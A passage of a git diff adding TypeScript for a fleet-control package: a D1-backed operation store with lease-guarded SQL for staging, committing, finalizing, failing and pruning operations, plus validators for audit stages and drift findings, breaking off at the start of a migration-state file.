leaseKind: FleetOperationKind, + token: string, + input: Parameters[0], + ): ReturnType { + const { operationId, kind, intakeDigest } = input; + const runRecord = fleetOperationRunRecordFromUnknown(input.runRecord); + if ( + kind !== leaseKind || + runRecord.operationId !== operationId || + runRecord.kind !== kind || + runRecord.state !== 'running' || + runRecord.progress.revision !== 0 || + !fleetOperationSha256(intakeDigest) + ) { + throw new FleetOperationStateError(); + } + const result = await this.#db.batch([ + { + sql: `INSERT INTO ${HEAD_TABLE} ( + account_id, operation_kind, active_operation_id + ) VALUES (?, ?, NULL) + ON CONFLICT (account_id, operation_kind) DO NOTHING`, + bindings: [this.#accountId, kind], + }, + { + sql: `UPDATE ${HEAD_TABLE} + SET active_operation_id = ? + WHERE account_id = ? AND operation_kind = ? + AND (active_operation_id = ? + OR (active_operation_id IS NULL + AND NOT EXISTS (SELECT 1 FROM ${OPERATION_TABLE} + WHERE account_id = ? AND operation_id = ?))) + AND ${this.#leaseExists(kind)} + RETURNING active_operation_id`, + bindings: [ + operationId, + this.#accountId, + kind, + operationId, + this.#accountId, + operationId, + ...this.#leaseBindings(kind, token), + ], + }, + { + sql: `INSERT INTO ${OPERATION_TABLE} ( + account_id, operation_id, operation_kind, intake_digest, + op_record, created_at_ms, terminal_at_ms + ) + SELECT ?, ?, ?, ?, ?, ${DB_NOW_MS}, NULL + FROM ${HEAD_TABLE} + WHERE account_id = ? AND operation_kind = ? + AND active_operation_id = ? + ON CONFLICT (account_id, operation_id) DO NOTHING + RETURNING operation_id`, + bindings: [ + this.#accountId, + operationId, + kind, + intakeDigest, + JSON.stringify(runRecord), + this.#accountId, + kind, + operationId, + ], + }, + ]); + const persisted = await this.#operationRow(operationId); + if (!persisted) { + throw new Error( + `another fleet ${kind} operation is active for this account`, + ); + } + if (rowString(persisted, 'operation_kind') !== kind) { + throw new Error( + `fleet operation '${operationId}' belongs to the other operation kind`, + ); + } + if (rowString(persisted, 'intake_digest') !== intakeDigest) { + throw new Error( + `fleet operation '${operationId}' already exists with a different intake`, + ); + } + const record = fleetOperationRunRecordFromUnknown( + parseJson(rowString(persisted, 'op_record')), + ); + const created = (result[2] ?? []).some( + (row) => row.operation_id === operationId, + ); + return { + outcome: created + ? 'created' + : record.state === 'running' + ? 'adopted-running' + : 'adopted-terminal', + record, + }; + } + + async #operationRow(operationId: string): Promise { + const rows = await this.#db.query( + `SELECT operation_kind, intake_digest, op_record, terminal_at_ms + FROM ${OPERATION_TABLE} + WHERE account_id = ? AND operation_id = ?`, + [this.#accountId, operationId], + ); + return rows[0]; + } + + async readOperationById( + operationId: string, + ): Promise { + await this.#ensureSchema(); + const row = await this.#operationRow(operationId); + return row + ? fleetOperationRunRecordFromUnknown( + parseJson(rowString(row, 'op_record')), + ) + : undefined; + } + + #operationGuard(kind: FleetOperationKind): string { + return `FROM ${OPERATION_TABLE} r + WHERE r.account_id = ? AND r.operation_id = ? + AND r.operation_kind = ? + AND json_extract(r.op_record, '$.state') = 'running' + AND json_extract(r.op_record, '$.progress.revision') = ? + AND ${this.#leaseExists(kind)}`; + } + + #operationGuardBindings( + kind: FleetOperationKind, + token: string, + operationId: string, + expectedRevision: number, + ): readonly unknown[] { + return [ + this.#accountId, + operationId, + kind, + expectedRevision, + ...this.#leaseBindings(kind, token), + ]; + } + + async #stageRows( + kind: FleetOperationKind, + token: string, + input: Parameters[0], + ): Promise { + const { operationId, expectedRevision } = input; + if (!fleetOperationSafeInteger(expectedRevision)) { + throw new FleetOperationStateError(); + } + const rows = input.rows.map((row) => rowPayloadFromUnknown(kind, row)); + for ( + let offset = 0; + offset < rows.length; + offset += FLEET_OPERATION_STAGE_BATCH_STATEMENTS + ) { + const batch = rows.slice( + offset, + offset + FLEET_OPERATION_STAGE_BATCH_STATEMENTS, + ); + await this.#db.batch( + batch.map((row) => ({ + sql: `INSERT INTO ${ROW_TABLE} ( + account_id, operation_id, row_kind, ordinal, payload + ) + SELECT ?, ?, ?, ?, ? + ${this.#operationGuard(kind)} + ON CONFLICT (account_id, operation_id, row_kind, ordinal) DO NOTHING + RETURNING row_kind, ordinal`, + bindings: [ + this.#accountId, + operationId, + row.rowKind, + row.ordinal, + serializedPayload(row), + ...this.#operationGuardBindings( + kind, + token, + operationId, + expectedRevision, + ), + ], + })), + ); + } + } + + async #commitProgress( + kind: FleetOperationKind, + token: string, + input: Parameters[0], + ): ReturnType { + const { operationId, expectedRevision } = input; + const runRecord = fleetOperationRunRecordFromUnknown(input.runRecord); + const rows = (input.rows ?? []).map((row) => + rowPayloadFromUnknown(kind, row), + ); + const updateRows = (input.updateRows ?? []).map((row) => + rowPayloadFromUnknown(kind, row), + ); + if (updateRows.some((row) => row.rowKind !== 'item')) { + throw new FleetOperationStateError(); + } + const mutationKeys = [...rows, ...updateRows].map( + (row) => `${row.rowKind}:${row.ordinal}`, + ); + if (new Set(mutationKeys).size !== mutationKeys.length) { + throw new FleetOperationStateError(); + } + if (rows.length + updateRows.length + 1 > 100) { + throw new Error( + 'commitProgress exceeds the operation batch budget of 100 statements', + ); + } + if ( + runRecord.operationId !== operationId || + runRecord.kind !== kind || + runRecord.state !== 'running' || + !fleetOperationSafeInteger(expectedRevision) || + runRecord.progress.revision !== expectedRevision + 1 + ) { + throw operationConflict(operationId); + } + const watermarks = Object.entries(input.expectedRowWatermarks ?? {}) as [ + FleetOperationRowKind, + number, + ][]; + for (const [rowKind, watermark] of watermarks) { + if ( + !FLEET_OPERATION_ROW_KINDS.includes(rowKind) || + !fleetOperationSafeInteger(watermark) + ) { + throw new FleetOperationStateError(); + } + } + const payloads = [...rows, ...updateRows].map((row) => ({ + row, + bytes: serializedPayload(row), + })); + const insertPayloads = payloads.slice(0, rows.length); + const updatePayloads = payloads.slice(rows.length); + const guardBindings = this.#operationGuardBindings( + kind, + token, + operationId, + expectedRevision, + ); + // A retry may stage byte-identical later members before this transition; + // later watermarks and finalize's totals cover those surplus ordinals. + const watermarkSql = watermarks + .map( + () => `AND (SELECT COUNT(*) FROM ${ROW_TABLE} + WHERE account_id = ? AND operation_id = ? + AND row_kind = ? AND ordinal < ?) = ?`, + ) + .join('\n'); + // Every row mutation carries the SAME lease, kind, state, and PRE-update + // revision guard as the operation update, so stale or losing writers land + // no bytes that a later legitimate commit cannot replace. + const result = await this.#db.batch([ + ...insertPayloads.map(({ row, bytes }) => ({ + sql: `INSERT INTO ${ROW_TABLE} ( + account_id, operation_id, row_kind, ordinal, payload + ) + SELECT ?, ?, ?, ?, ? + ${this.#operationGuard(kind)} + ON CONFLICT (account_id, operation_id, row_kind, ordinal) DO NOTHING + RETURNING row_kind, ordinal`, + bindings: [ + this.#accountId, + operationId, + row.rowKind, + row.ordinal, + bytes, + ...guardBindings, + ], + })), + ...updatePayloads.map(({ row, bytes }) => ({ + sql: `UPDATE ${ROW_TABLE} + SET payload = ? + WHERE account_id = ? AND operation_id = ? + AND row_kind = ? AND ordinal = ? + AND EXISTS (SELECT 1 ${this.#operationGuard(kind)}) + RETURNING row_kind, ordinal`, + bindings: [ + bytes, + this.#accountId, + operationId, + row.rowKind, + row.ordinal, + ...guardBindings, + ], + })), + { + sql: `UPDATE ${OPERATION_TABLE} + SET op_record = ? + WHERE account_id = ? AND operation_id = ? + AND operation_kind = ? + AND json_extract(op_record, '$.state') = 'running' + AND json_extract(op_record, '$.progress.revision') = ? + AND ${this.#leaseExists(kind)} + ${watermarkSql} + RETURNING operation_id`, + bindings: [ + JSON.stringify(runRecord), + this.#accountId, + operationId, + kind, + expectedRevision, + ...this.#leaseBindings(kind, token), + ...watermarks.flatMap(([rowKind, watermark]) => [ + this.#accountId, + operationId, + rowKind, + watermark, + watermark, + ]), + ], + }, + ]); + const written = result.at(-1) ?? []; + if (written.length === 1 && written[0]?.operation_id === operationId) { + return runRecord; + } + // Insert RETURNING proves nothing either way: DO NOTHING and guard misses + // both return no rows, so convergence must re-query every authority. + return this.#commitConverged(operationId, runRecord, payloads, watermarks); + } + + async #commitConverged( + operationId: string, + intended: FleetOperationRunRecord, + payloads: readonly Readonly<{ + row: FleetOperationStagedRow; + bytes: string; + }>[], + watermarks: readonly [FleetOperationRowKind, number][], + ): Promise { + let complete = true; + for (const { row, bytes } of payloads) { + const stored = await this.#db.query( + `SELECT payload FROM ${ROW_TABLE} + WHERE account_id = ? AND operation_id = ? + AND row_kind = ? AND ordinal = ?`, + [this.#accountId, operationId, row.rowKind, row.ordinal], + ); + if (!stored[0]) complete = false; + else if (rowString(stored[0], 'payload') !== bytes) { + throw operationDivergence(operationId); + } + } + for (const [rowKind, watermark] of watermarks) { + const stored = await this.#db.query( + `SELECT COUNT(*) AS count FROM ${ROW_TABLE} + WHERE account_id = ? AND operation_id = ? + AND row_kind = ? AND ordinal < ?`, + [this.#accountId, operationId, rowKind, watermark], + ); + if (rowNumber(stored[0], 'count') !== watermark) { + throw operationConflict(operationId); + } + } + const persisted = await this.readOperationById(operationId); + if (!persisted) throw unknownOperation(operationId); + // Progress uses plain JSON equality; coordinators must build it in stable + // key order so a byte-identical replay can converge. + if ( + complete && + persisted.progress.revision === intended.progress.revision && + JSON.stringify(persisted) === JSON.stringify(intended) + ) { + return persisted; + } + throw operationConflict(operationId); + } + + async #finalizeOperation( + kind: FleetOperationKind, + token: string, + input: Parameters[0], + ): ReturnType { + const { operationId, expectedRevision } = input; + const runRecord = fleetOperationRunRecordFromUnknown(input.runRecord); + if ( + runRecord.operationId !== operationId || + runRecord.kind !== kind || + runRecord.state !== 'finalized' || + !fleetOperationSafeInteger(expectedRevision) || + runRecord.progress.revision !== expectedRevision + 1 + ) { + throw operationConflict(operationId); + } + const counts = Object.entries(input.expectedRowCounts) as [ + FleetOperationRowKind, + number, + ][]; + for (const [rowKind, count] of counts) { + if ( + !FLEET_OPERATION_ROW_KINDS.includes(rowKind) || + !fleetOperationSafeInteger(count) + ) { + throw new FleetOperationStateError(); + } + } + const countSql = counts + .map( + () => `AND (SELECT COUNT(*) FROM ${ROW_TABLE} + WHERE account_id = ? AND operation_id = ? AND row_kind = ?) = ?`, + ) + .join('\n'); + const completeSql = input.requireAllItemsComplete + ? `AND (SELECT COUNT(*) FROM ${ROW_TABLE} + WHERE account_id = ? AND operation_id = ? AND row_kind = 'item' + AND json_extract(payload, '$.status') = 'complete') + = json_extract(?, '$.progress.itemCount')` + : ''; + await this.#db.batch([ + { + sql: `UPDATE ${OPERATION_TABLE} + SET op_record = json_set(?, '$.terminalAtMs', ${DB_NOW_MS}), + terminal_at_ms = ${DB_NOW_MS} + WHERE account_id = ? AND operation_id = ? + AND operation_kind = ? + AND json_extract(op_record, '$.state') = 'running' + AND json_extract(op_record, '$.progress.revision') = ? + AND ${this.#leaseExists(kind)} + ${countSql} + ${completeSql} + RETURNING operation_id`, + bindings: [ + JSON.stringify(runRecord), + this.#accountId, + operationId, + kind, + expectedRevision, + ...this.#leaseBindings(kind, token), + ...counts.flatMap(([rowKind, count]) => [ + this.#accountId, + operationId, + rowKind, + count, + ]), + ...(input.requireAllItemsComplete + ? [this.#accountId, operationId, JSON.stringify(runRecord)] + : []), + ], + }, + { + sql: `UPDATE ${HEAD_TABLE} + SET active_operation_id = NULL + WHERE account_id = ? AND operation_kind = ? + AND active_operation_id = ? + AND ${this.#leaseExists(kind)} + AND EXISTS (SELECT 1 FROM ${OPERATION_TABLE} + WHERE account_id = ? AND operation_id = ? + AND operation_kind = ? + AND json_extract(op_record, '$.state') = 'finalized' + AND json_extract(op_record, '$.progress.revision') = ?) + RETURNING account_id`, + bindings: [ + this.#accountId, + kind, + operationId, + ...this.#leaseBindings(kind, token), + this.#accountId, + operationId, + kind, + runRecord.progress.revision, + ], + }, + ]); + // This batch is a probe: a lost response makes RETURNING inconclusive, so + // the operation row and head are the only authority. + const persisted = await this.readOperationById(operationId); + if (!persisted) throw unknownOperation(operationId); + if ( + persisted.state !== 'finalized' || + persisted.progress.revision !== runRecord.progress.revision + ) { + if (persisted.progress.revision === expectedRevision) { + throw finalizeMismatch(operationId); + } + throw operationConflict(operationId); + } + const head = await this.#db.query( + `SELECT active_operation_id FROM ${HEAD_TABLE} + WHERE account_id = ? AND operation_kind = ?`, + [this.#accountId, kind], + ); + if (head[0]?.active_operation_id === operationId) { + // The only legal repair is the head release; operation data is immutable. + await this.#db.query( + `UPDATE ${HEAD_TABLE} + SET active_operation_id = NULL + WHERE account_id = ? AND operation_kind = ? + AND active_operation_id = ? + AND ${this.#leaseExists(kind)} + RETURNING account_id`, + [ + this.#accountId, + kind, + operationId, + ...this.#leaseBindings(kind, token), + ], + ); + } + return persisted; + } + + async #failOperation( + kind: FleetOperationKind, + token: string, + input: Parameters[0], + ): Promise { + const { operationId, expectedRevision } = input; + const runRecord = fleetOperationRunRecordFromUnknown(input.runRecord); + // The run update binds 8 + 5n parameters; D1 caps a statement at 100. + if ((input.updateRows?.length ?? 0) > 18) { + throw new Error( + 'failOperation exceeds the operation update budget of 18 rows', + ); + } + const updateRows = (input.updateRows ?? []).map((row) => + rowPayloadFromUnknown(kind, row), + ); + if (updateRows.some((row) => row.rowKind !== 'item')) { + throw new FleetOperationStateError(); + } + const payloads = updateRows.map((row) => ({ + row, + bytes: serializedPayload(row), + })); + const updateKeys = updateRows.map((row) => `${row.rowKind}:${row.ordinal}`); + if (new Set(updateKeys).size !== updateKeys.length) { + throw new FleetOperationStateError(); + } + if ( + runRecord.operationId !== operationId || + runRecord.kind !== kind || + runRecord.state !== 'failed' || + runRecord.progress.failure === undefined || + !fleetOperationSafeInteger(expectedRevision) || + runRecord.progress.revision !== expectedRevision + 1 + ) { + throw operationConflict(operationId); + } + const guardBindings = this.#operationGuardBindings( + kind, + token, + operationId, + expectedRevision, + ); + const exactRows = updateRows + .map( + () => `AND EXISTS (SELECT 1 FROM ${ROW_TABLE} + WHERE account_id = ? AND operation_id = ? + AND row_kind = ? AND ordinal = ? AND payload = ?)`, + ) + .join('\n'); + await this.#db.batch([ + ...payloads.map(({ row, bytes }) => ({ + sql: `UPDATE ${ROW_TABLE} + SET payload = ? + WHERE account_id = ? AND operation_id = ? + AND row_kind = ? AND ordinal = ? + AND EXISTS (SELECT 1 ${this.#operationGuard(kind)}) + RETURNING row_kind, ordinal`, + bindings: [ + bytes, + this.#accountId, + operationId, + row.rowKind, + row.ordinal, + ...guardBindings, + ], + })), + { + sql: `UPDATE ${OPERATION_TABLE} + SET op_record = json_set(?, '$.terminalAtMs', ${DB_NOW_MS}), + terminal_at_ms = ${DB_NOW_MS} + WHERE account_id = ? AND operation_id = ? + AND operation_kind = ? + AND json_extract(op_record, '$.state') = 'running' + AND json_extract(op_record, '$.progress.revision') = ? + AND ${this.#leaseExists(kind)} + ${exactRows} + RETURNING operation_id`, + bindings: [ + JSON.stringify(runRecord), + this.#accountId, + operationId, + kind, + expectedRevision, + ...this.#leaseBindings(kind, token), + ...payloads.flatMap(({ row, bytes }) => [ + this.#accountId, + operationId, + row.rowKind, + row.ordinal, + bytes, + ]), + ], + }, + { + sql: `UPDATE ${HEAD_TABLE} + SET active_operation_id = NULL + WHERE account_id = ? AND operation_kind = ? + AND active_operation_id = ? + AND ${this.#leaseExists(kind)} + AND EXISTS (SELECT 1 FROM ${OPERATION_TABLE} + WHERE account_id = ? AND operation_id = ? + AND operation_kind = ? + AND json_extract(op_record, '$.state') = 'failed' + AND json_extract(op_record, '$.progress.revision') = ?) + RETURNING account_id`, + bindings: [ + this.#accountId, + kind, + operationId, + ...this.#leaseBindings(kind, token), + this.#accountId, + operationId, + kind, + runRecord.progress.revision, + ], + }, + ]); + const persisted = await this.readOperationById(operationId); + if ( + persisted?.state !== 'failed' || + persisted.progress.revision !== runRecord.progress.revision + ) { + throw operationConflict(operationId); + } + for (const { row, bytes } of payloads) { + const stored = await this.#db.query( + `SELECT payload FROM ${ROW_TABLE} + WHERE account_id = ? AND operation_id = ? + AND row_kind = ? AND ordinal = ?`, + [this.#accountId, operationId, row.rowKind, row.ordinal], + ); + if (!stored[0] || rowString(stored[0], 'payload') !== bytes) { + throw operationDivergence(operationId); + } + } + } + + async readOperationRowsPage( + input: Readonly<{ + operationId: string; + rowKind: FleetOperationRowKind; + afterOrdinal?: number; + limit: number; + }>, + ): Promise< + Readonly<{ rows: readonly FleetOperationStagedRow[]; done: boolean }> + > { + await this.#ensureSchema(); + assertLimit(input.limit); + if ( + !FLEET_OPERATION_ROW_KINDS.includes(input.rowKind) || + (input.afterOrdinal !== undefined && + (!fleetOperationSafeInteger(input.afterOrdinal) || + input.afterOrdinal >= Number.MAX_SAFE_INTEGER)) + ) { + throw new FleetOperationStateError(); + } + const operation = await this.#operationRow(input.operationId); + if (!operation) throw unknownOperation(input.operationId); + const kind = rowString(operation, 'operation_kind') as FleetOperationKind; + const stored = await this.#db.query( + `SELECT row_kind, ordinal, payload FROM ${ROW_TABLE} + WHERE account_id = ? AND operation_id = ? AND row_kind = ? + AND ordinal > ? + ORDER BY ordinal ASC + LIMIT ?`, + [ + this.#accountId, + input.operationId, + input.rowKind, + input.afterOrdinal ?? -1, + input.limit + 1, + ], + ); + const rows = stored.slice(0, input.limit).map((row) => + rowPayloadFromUnknown(kind, { + rowKind: rowString(row, 'row_kind'), + ordinal: rowNumber(row, 'ordinal'), + payload: parseJson(rowString(row, 'payload')), + }), + ); + return { rows, done: stored.length <= input.limit }; + } + + async pruneFleetOperations( + input: Readonly<{ + kind: FleetOperationKind; + limit: number; + }>, + ): Promise> { + assertKind(input.kind); + assertLimit(input.limit); + if (input.kind === 'audit' && !this.#inventoryStore) { + throw new FleetOperationStoreCapabilityError(); + } + return this.#withAccountOperationLeaseInternal( + input.kind, + async (lease, token) => { + const candidates = await this.#db.query( + `SELECT operation_id, op_record, terminal_at_ms + FROM ${OPERATION_TABLE} o + WHERE o.account_id = ? AND o.operation_kind = ? + AND o.terminal_at_ms IS NOT NULL + AND json_extract(o.op_record, '$.state') IN ('finalized','failed') + AND NOT EXISTS (SELECT 1 FROM ${HEAD_TABLE} + WHERE account_id = o.account_id + AND operation_kind = o.operation_kind + AND active_operation_id = o.operation_id) + AND NOT ( + json_extract(o.op_record, '$.state') = 'finalized' + AND o.terminal_at_ms = (SELECT MAX(latest.terminal_at_ms) + FROM ${OPERATION_TABLE} latest + WHERE latest.account_id = o.account_id + AND latest.operation_kind = o.operation_kind + AND json_extract(latest.op_record, '$.state') = 'finalized') + ) + ORDER BY o.terminal_at_ms ASC, o.operation_id ASC + LIMIT ?`, + [this.#accountId, input.kind, input.limit], + ); + let deleted = 0; + let releasedPins = 0; + for (const candidate of candidates) { + const operationId = rowString(candidate, 'operation_id'); + if (input.kind === 'audit') { + const record = fleetAuditOperationRecordFromUnknown( + parseJson(rowString(candidate, 'op_record')), + ); + // Lock order is operation KIND lease outer, inventory ACCOUNT lease + // inner, and is never acquired in reverse by production callers. + await this.#inventoryStore?.releasePin({ + generation: record.progress.generation, + pinnedBy: `fleet-audit:${operationId}`, + }); + releasedPins += 1; + } + await lease.assertOwned(); + deleted += await this.#deletePruneCandidate( + input.kind, + token, + operationId, + ); + } + return { deleted, releasedPins }; + }, + ); + } + + async #deletePruneCandidate( + kind: FleetOperationKind, + token: string, + operationId: string, + ): Promise { + // Protection is re-checked inside the delete batch, so a candidate that + // becomes active or latest-finalized after selection still survives. + const guard = `AND EXISTS (SELECT 1 FROM ${OPERATION_TABLE} o + WHERE o.account_id = ? AND o.operation_id = ? + AND o.operation_kind = ? AND o.terminal_at_ms IS NOT NULL + AND json_extract(o.op_record, '$.state') IN ('finalized','failed') + AND NOT EXISTS (SELECT 1 FROM ${HEAD_TABLE} + WHERE account_id = o.account_id + AND operation_kind = o.operation_kind + AND active_operation_id = o.operation_id) + AND NOT ( + json_extract(o.op_record, '$.state') = 'finalized' + AND o.terminal_at_ms = (SELECT MAX(latest.terminal_at_ms) + FROM ${OPERATION_TABLE} latest + WHERE latest.account_id = o.account_id + AND latest.operation_kind = o.operation_kind + AND json_extract(latest.op_record, '$.state') = 'finalized') + )) + AND ${this.#leaseExists(kind)}`; + const guardBindings = [ + this.#accountId, + operationId, + kind, + ...this.#leaseBindings(kind, token), + ]; + const result = await this.#db.batch([ + { + sql: `DELETE FROM ${ROW_TABLE} + WHERE account_id = ? AND operation_id = ? + ${guard} + RETURNING ordinal`, + bindings: [this.#accountId, operationId, ...guardBindings], + }, + { + sql: `DELETE FROM ${OPERATION_TABLE} + WHERE account_id = ? AND operation_id = ? + ${guard} + RETURNING operation_id`, + bindings: [this.#accountId, operationId, ...guardBindings], + }, + ]); + return (result.at(-1) ?? []).length; + } +} diff --git a/packages/fleet-control/src/fleet-audit-state.ts b/packages/fleet-control/src/fleet-audit-state.ts new file mode 100644 index 00000000..ff5ea895 --- /dev/null +++ b/packages/fleet-control/src/fleet-audit-state.ts @@ -0,0 +1,326 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { + isDeploymentEnvironment, + isDeploymentTenantTag, +} from './deployment-context.js'; +import { + assertFleetOperationExactKeys, + FLEET_OPERATION_ITEM_BOUND, + FLEET_OPERATION_STRING_BYTE_BOUND, + type FleetOperationProgress, + type FleetOperationRunRecord, + FleetOperationStateError, + fleetOperationBoundedString, + fleetOperationFailureFromUnknown, + fleetOperationPlainRecord, + fleetOperationRunRecordFromUnknown, + fleetOperationSafeInteger, + fleetOperationTextHasControlBytes, +} from './fleet-operation-state.js'; + +export type FleetAuditStage = + | Readonly<{ step: 'provider-findings'; rowOrdinal: number }> + | Readonly<{ step: 'registration-orphans'; rowOrdinal: number }> + | Readonly<{ step: 'deployment-orphans'; rowOrdinal: number }> + | Readonly<{ step: 'deployment-gaps'; auditedOrdinal: number }> + | Readonly<{ step: 'orphan-databases'; rowOrdinal: number }> + | Readonly<{ step: 'orphan-routes'; rowOrdinal: number }> + | Readonly<{ step: 'namespace-orphans'; rowOrdinal: number }> + | Readonly<{ step: 'namespace-expectations'; auditedOrdinal: number }> + | Readonly<{ step: 'r2-expected'; auditedOrdinal: number }> + | Readonly<{ step: 'r2-orphans'; rowOrdinal: number }> + | Readonly<{ step: 'r2-missing-identity'; expectedOrdinal: number }> + | Readonly<{ step: 'per-record'; recordOrdinal: number }> + | Readonly<{ step: 'finalize' }>; + +export const FLEET_AUDIT_STAGE_ORDER: readonly FleetAuditStage['step'][] = + Object.freeze([ + 'provider-findings', + 'registration-orphans', + 'deployment-orphans', + 'deployment-gaps', + 'orphan-databases', + 'orphan-routes', + 'namespace-orphans', + 'namespace-expectations', + 'r2-expected', + 'r2-orphans', + 'r2-missing-identity', + 'per-record', + 'finalize', + ]); + +const STAGE_ORDINAL = Object.freeze({ + 'provider-findings': 'rowOrdinal', + 'registration-orphans': 'rowOrdinal', + 'deployment-orphans': 'rowOrdinal', + 'deployment-gaps': 'auditedOrdinal', + 'orphan-databases': 'rowOrdinal', + 'orphan-routes': 'rowOrdinal', + 'namespace-orphans': 'rowOrdinal', + 'namespace-expectations': 'auditedOrdinal', + 'r2-expected': 'auditedOrdinal', + 'r2-orphans': 'rowOrdinal', + 'r2-missing-identity': 'expectedOrdinal', + 'per-record': 'recordOrdinal', + finalize: undefined, +} satisfies Readonly>); + +export const FLEET_AUDIT_FINDING_KINDS = Object.freeze([ + 'missing-deployment', + 'duplicate-deployment', + 'database-mismatch', + 'duplicate-database', + 'duplicate-namespace', + 'binding-drift', + 'route-drift', + 'orphan-deployment', + 'orphan-database', + 'missing-namespace', + 'orphan-namespace', + 'orphan-route', + 'missing-r2-bucket', + 'orphan-r2-bucket', + 'r2-bucket-drift', + 'duplicate-route', + 'incomplete-provisioning', + 'version-drift', + 'maintenance-stale', + 'audit-error', + 'malformed-script-registration', + 'stale-script-registration', + 'malformed-route', + 'stale-route', + 'incomplete-deployment', + 'trusted-dispatch-namespace', + 'unknown-dispatch-scripts', +] as const); + +export type FleetAuditFindingKind = (typeof FLEET_AUDIT_FINDING_KINDS)[number]; + +export interface FleetAuditProgress extends FleetOperationProgress { + readonly kind: 'audit'; + readonly stage: FleetAuditStage; + readonly generation: number; + readonly auditTimeMs: number; + readonly staleAfterMs: number; + readonly recordCount: number; + readonly findingCount: number; + readonly factCount: number; +} + +export type DriftFindingRowPayload = Readonly<{ + tenantTag: string; + environment: string; + kind: FleetAuditFindingKind; + detail: string; +}>; + +export type FleetAuditFactPayload = + | Readonly<{ + factKind: 'database-owner'; + key: string; + tenantTag: string; + environment: string; + }> + | Readonly<{ + factKind: 'namespace-owner'; + key: string; + tenantTag: string; + environment: string; + }> + | Readonly<{ factKind: 'duplicate-namespace'; key: string }>; + +function malformed(): never { + throw new FleetOperationStateError(); +} + +function structurallySafeText(value: unknown): value is string { + return ( + fleetOperationBoundedString(value) && + !fleetOperationTextHasControlBytes(value) + ); +} + +export function fleetAuditStageFromUnknown(value: unknown): FleetAuditStage { + const candidate = fleetOperationPlainRecord(value); + if ( + typeof candidate.step !== 'string' || + !FLEET_AUDIT_STAGE_ORDER.includes(candidate.step as FleetAuditStage['step']) + ) { + return malformed(); + } + const step = candidate.step as FleetAuditStage['step']; + const ordinal = STAGE_ORDINAL[step]; + assertFleetOperationExactKeys( + candidate, + ordinal === undefined ? ['step'] : ['step', ordinal], + ); + if (ordinal !== undefined && !fleetOperationSafeInteger(candidate[ordinal])) { + return malformed(); + } + return { + step, + ...(ordinal === undefined ? {} : { [ordinal]: candidate[ordinal] }), + } as FleetAuditStage; +} + +function stageEntry(step: FleetAuditStage['step']): FleetAuditStage { + const ordinal = STAGE_ORDINAL[step]; + return { + step, + ...(ordinal === undefined ? {} : { [ordinal]: 0 }), + } as FleetAuditStage; +} + +export function nextAuditStage( + stage: FleetAuditStage, + exhausted: boolean, +): FleetAuditStage { + const current = fleetAuditStageFromUnknown(stage); + if (!exhausted || current.step === 'finalize') return current; + const next = + FLEET_AUDIT_STAGE_ORDER[FLEET_AUDIT_STAGE_ORDER.indexOf(current.step) + 1]; + return stageEntry(next ?? 'finalize'); +} + +export function fleetAuditProgressFromUnknown( + value: unknown, +): FleetAuditProgress { + const candidate = fleetOperationPlainRecord(value); + assertFleetOperationExactKeys( + candidate, + [ + 'kind', + 'revision', + 'stage', + 'generation', + 'auditTimeMs', + 'staleAfterMs', + 'recordCount', + 'findingCount', + 'factCount', + ], + ['failure'], + ); + if ( + candidate.kind !== 'audit' || + !fleetOperationSafeInteger(candidate.revision) || + !fleetOperationSafeInteger(candidate.generation, 1) || + !fleetOperationSafeInteger(candidate.auditTimeMs) || + !fleetOperationSafeInteger(candidate.staleAfterMs) || + !fleetOperationSafeInteger(candidate.recordCount) || + candidate.recordCount > FLEET_OPERATION_ITEM_BOUND || + !fleetOperationSafeInteger(candidate.findingCount) || + !fleetOperationSafeInteger(candidate.factCount) + ) { + return malformed(); + } + const failure = + candidate.failure === undefined + ? undefined + : fleetOperationFailureFromUnknown(candidate.failure); + return { + kind: 'audit', + revision: candidate.revision, + stage: fleetAuditStageFromUnknown(candidate.stage), + generation: candidate.generation, + auditTimeMs: candidate.auditTimeMs, + staleAfterMs: candidate.staleAfterMs, + recordCount: candidate.recordCount, + findingCount: candidate.findingCount, + factCount: candidate.factCount, + ...(failure === undefined ? {} : { failure }), + }; +} + +export function fleetAuditOperationRecordFromUnknown( + value: unknown, +): FleetOperationRunRecord & Readonly<{ progress: FleetAuditProgress }> { + const record = fleetOperationRunRecordFromUnknown(value); + if (record.kind !== 'audit') return malformed(); + return { + ...record, + progress: fleetAuditProgressFromUnknown(record.progress), + }; +} + +export function driftFindingRowFromUnknown( + value: unknown, +): DriftFindingRowPayload { + const candidate = fleetOperationPlainRecord(value); + assertFleetOperationExactKeys(candidate, [ + 'tenantTag', + 'environment', + 'kind', + 'detail', + ]); + // These are provider-claimed observations that the drain emits verbatim. + if ( + !structurallySafeText(candidate.tenantTag) || + !structurallySafeText(candidate.environment) || + typeof candidate.kind !== 'string' || + !FLEET_AUDIT_FINDING_KINDS.includes( + candidate.kind as FleetAuditFindingKind, + ) || + !structurallySafeText(candidate.detail) + ) { + return malformed(); + } + return { + tenantTag: candidate.tenantTag, + environment: candidate.environment, + kind: candidate.kind as FleetAuditFindingKind, + detail: candidate.detail, + }; +} + +export function fleetAuditFactRowFromUnknown( + value: unknown, +): FleetAuditFactPayload { + const candidate = fleetOperationPlainRecord(value); + if (candidate.factKind === 'duplicate-namespace') { + assertFleetOperationExactKeys(candidate, ['factKind', 'key']); + if (!structurallySafeText(candidate.key)) return malformed(); + return { factKind: 'duplicate-namespace', key: candidate.key }; + } + if ( + candidate.factKind !== 'database-owner' && + candidate.factKind !== 'namespace-owner' + ) { + return malformed(); + } + assertFleetOperationExactKeys(candidate, [ + 'factKind', + 'key', + 'tenantTag', + 'environment', + ]); + if ( + !structurallySafeText(candidate.key) || + typeof candidate.tenantTag !== 'string' || + !isDeploymentTenantTag(candidate.tenantTag) || + typeof candidate.environment !== 'string' || + !isDeploymentEnvironment(candidate.environment) + ) { + return malformed(); + } + return { + factKind: candidate.factKind, + key: candidate.key, + tenantTag: candidate.tenantTag, + environment: candidate.environment, + }; +} + +export function withheldAuditDetail(kind: FleetAuditFindingKind): string { + const detail = `finding detail withheld: unsafe bytes (kind '${kind}')`; + if ( + new TextEncoder().encode(detail).byteLength > + FLEET_OPERATION_STRING_BYTE_BOUND + ) { + return malformed(); + } + return detail; +} diff --git a/packages/fleet-control/src/fleet-migration-state.ts b/packages/fleet-control/src/fleet-migration-state.ts new file mode 100644 index 00000000..7ba34fa0 --- /dev/null +++ b/packages/fleet-control/src/fleet-migration-state.ts @@ -0,0 +1,225 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { + isDeploymentEnvironment, + isDeploymentTenantTag, +} from './deployment-context.js'; +import { + assertFleetOperationExactKeys, + 